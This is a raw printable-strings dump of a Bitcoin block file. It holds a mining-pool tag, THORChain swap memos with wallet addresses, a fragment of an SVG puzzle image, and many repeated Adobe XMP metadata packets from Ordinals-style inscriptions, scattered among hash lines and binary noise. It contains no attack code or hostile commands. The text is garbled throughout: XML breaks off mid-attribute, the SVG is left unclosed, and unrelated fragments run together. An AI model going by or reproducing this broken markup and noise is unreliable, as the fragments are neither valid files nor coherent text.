File: blk03406.txt

c/Foundry USA Pool #dropgold/
<j:=:RUNE:thor1je8tshhzasy249j5pv2z9dwg2q98va4rahyxtx::wr:100
Bj@=:BNB.BNB:bnb1xryptcswk83fcc6n3saxsgtkpprt2l64zvyu4a:8441545:t:0
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 8 8">
<!--puzzlords.com s1p0050/4096 1,3,3,1,1 ~0.35049838735722005-->
<style type="text/css">
polyline{stroke:#000;stroke-width:0.15}
<rect fill="#9296A0" width="100%" height="100%"/>
<polyline fill="#36EEE0" points="0,8 2,1 2,2 0,0 "/>
<polyline fill="#F2F652" points="8,0 5,4 5,4 8,8 "/>
<polyline fill="#F2F652" points="8,8 7,1 7,2 0,8 "/>
<polyline fill="#36EEE0" points="0,0 4,7 4,7 8,0 "/>
qhttp://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5b4, 2022/05/09-08:25:55        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="F9CM
626996C6D1B4A67BDA1FA24C26844" xmpMM:DocumentID="xmp.did:12685F3AABC511EDBA72A367A9B1EFBF" xmpMM:InstanceID="xmp.iid:12685F39ABC511EDBA72A367A9B1EFBF" xmp:CreatorTool="Adobe Photoshop 2022 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:bda4fa65-8f8c-994b-aecb-d75a9dee5909" stRef:documentID="xmp.did:bda4fa65-8f8c-994b-aecb-d75a9dee5909"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
4B/)/B=3223=FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
!!*%*3  3F3*3FFF88FFFFFM
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
6j4ion:2.QmTv17YgfTyda84VwCYWZGhC9HuXgWZ2qxNPLjnSMmbSYbW
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
FjDOUT:B0D9489BF30EA12E9CDEF36ED26271B3C4D7716B7AEECC1A1D63EA38F14DD660
FjDOUT:0FB80ADFF28ABBABCD1C5725A60A4FD5EF67EBFD978F4C297930146DD9A90404
FjDOUT:20F7D30232ECEAC5983AE82B7BFDB0275354E58E333B3020AC4594937B3D109F
FjDOUT:725F7EDC753BA0EA291E026D8C6CD0EC0233B416BFD991B5A9BA6D74E32677BE
FjDOUT:90F257B33EEDC82BF9E5DA49C132D9149E0DD85751B93796FCA9D5A0CC45C8BC
FjDOUT:5CF931422AC42EB3A8D2F9A25F03EAEE29276F9B441B133B2B22AC9578EA94BB
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
text/plain;charset=utf-8
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
text/plain;charset=utf-8
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
text/plain;charset=utf-8
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
4j2DC-L5:/RVg4bROuKEbQ4rfcDfkCOIPNuTdGIVNvVHMtBLmEVc=
Aj?=:ETH.ETH:0xaaae4b6d5c086cb72b5429194c811601670d82d9:1376918374pI
FjDOUT:48AB5237A0BCA9F11F2D548434BE0F1E808D3AE9B8EB8292DA8EE8BF85763133
FjDOUT:6B9676329FF7135D4136534E3215027013E71A9A173DD374AC13336B97A02D2B
FjDOUT:95EE38829AACBEA0DAECBFFEE9AC4DB2611A1E612E0447921927DB155B0DE8EC
FjDOUT:386644B4BE5C94650E8C427701B2312106B6AB9C48E822B23987B6E3CCF3B9FE
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
qhttp://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5b4, 2022/05/09-08:25:55        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="71CM
3DF398BB518BB8407569AECA40163" xmpMM:DocumentID="xmp.did:39BF9239ABC511ED81BBE0DA45B4DBDC" xmpMM:InstanceID="xmp.iid:39BF9238ABC511ED81BBE0DA45B4DBDC" xmp:CreatorTool="Adobe Photoshop 2022 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7fa40abb-95e8-8241-85a1-e6a11feb4bc4" stRef:documentID="xmp.did:7fa40abb-95e8-8241-85a1-e6a11feb4bc4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
